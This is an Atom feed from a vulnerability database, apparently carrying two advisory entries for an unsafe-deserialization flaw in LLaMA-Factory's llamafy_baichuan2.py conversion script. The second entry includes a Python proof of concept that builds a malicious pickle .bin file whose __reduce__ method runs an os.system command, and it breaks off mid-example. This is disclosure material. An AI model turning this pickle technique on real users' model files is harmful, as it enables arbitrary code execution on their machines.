<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
  <id>https://vulnerability.circl.lu/rss/recent/all/10</id>
  <title>Most recent entries from all</title>
  <updated>2026-10-06T10:21:21.214572+00:00</updated>
  <author>
    <name>Vulnerability-Lookup</name>
    <email>info@circl.lu</email>
  </author>
  <link href="https://vulnerability.circl.lu" rel="alternate"/>
  <generator uri="https://lkiesow.github.io/python-feedgen" version="1.0.0">python-feedgen</generator>
  <subtitle>Contains only the most 10 recent entries.</subtitle>
  <entry>
    <id>https://vulnerability.circl.lu/vuln/cve-2025-46567</id>
    <title>CVE-2025-46567 — LLaMA-Factory Allows Arbitrary Code Execution via Unsafe Deserialization in Ilamafy_baichuan2.py</title>
    <updated>2026-10-06T10:21:21.217502+00:00</updated>
    <content type="xhtml">
      <div xmlns="http://www.w3.org/1999/xhtml"><p><strong>Affected:</strong> hiyouga LLaMA-Factory</p>
<p>LLama Factory enables fine-tuning of large language models. Prior to version 1.0.0, a critical vulnerability exists in the `llamafy_baichuan2.py` script of the LLaMA-Factory project. The script performs insecure deserialization using `torch.load()` on user-supplied `.bin` files from an input directory. An attacker can exploit this behavior by crafting a malicious `.bin` file that executes arbitrary commands during deserialization. This issue has been patched in version 1.0.0.</p></div>
    </content>
    <link href="https://vulnerability.circl.lu/vuln/cve-2025-46567"/>
  </entry>
  <entry>
    <id>https://vulnerability.circl.lu/vuln/ghsa-f2f7-gj54-6vpv</id>
    <title>GHSA-f2f7-gj54-6vpv — LLaMA-Factory Allows Arbitrary Code Execution via Unsafe Deserialization in Ilamafy_baichuan2.py</title>
    <updated>2026-10-06T10:21:21.217607+00:00</updated>
    <content type="xhtml">
      <div xmlns="http://www.w3.org/1999/xhtml"><p><strong>Affected:</strong> PyPI: llamafactory</p>
<p>### Description</p>
<p>A critical vulnerability exists in the `llamafy_baichuan2.py` script of the [LLaMA-Factory](https://github.com/hiyouga/LLaMA-Factory) project. The script performs insecure deserialization using `torch.load()` on user-supplied `.bin` files from an input directory. An attacker can exploit this behavior by crafting a malicious `.bin` file that executes arbitrary commands during deserialization.</p>
<p>### Attack Vector</p>
<p>This vulnerability is **exploitable without authentication or privileges** when a user is tricked into:</p>
<p>1. Downloading or cloning a malicious project folder containing a crafted `.bin` file (e.g. via zip file, GitHub repo).
2. Running the provided conversion script `llamafy_baichuan2.py`, either manually or as part of an example workflow.</p>
<p>No elevated privileges are required. The user only needs to run the script with an attacker-supplied `--input_dir`.</p>
<p>### Impact</p>
<p>- Arbitrary command execution (RCE)
- System compromise
- Persistence or lateral movement in shared compute environments</p>
<p>### Proof of Concept (PoC)</p>
<p>```python
# malicious_payload.py
import torch, pickle, os</p>
<p>class MaliciousPayload:
    def __reduce__(self):
        return (os.system, ("mkdir HACKED!",))  # Arbitrary command</p>
<p>malicious_data = {
    "v_head.summary.weight": MaliciousPayload(),
    "v_head.summary.bias": torch.randn(10)
}</p>
<p>with open("value_head.bin", "wb") as f:
    pickle.dump(malicious_data, f)
```</p>
<p>An example of `config.json`:</p>
<p>```json
{
  "model": "value_head.bin",…</p></div>
    </content>
    <link href="https://vulnerability.circl.lu/vuln/ghsa-f2f7-gj54-6vpv"/>
  </entry>
</feed>
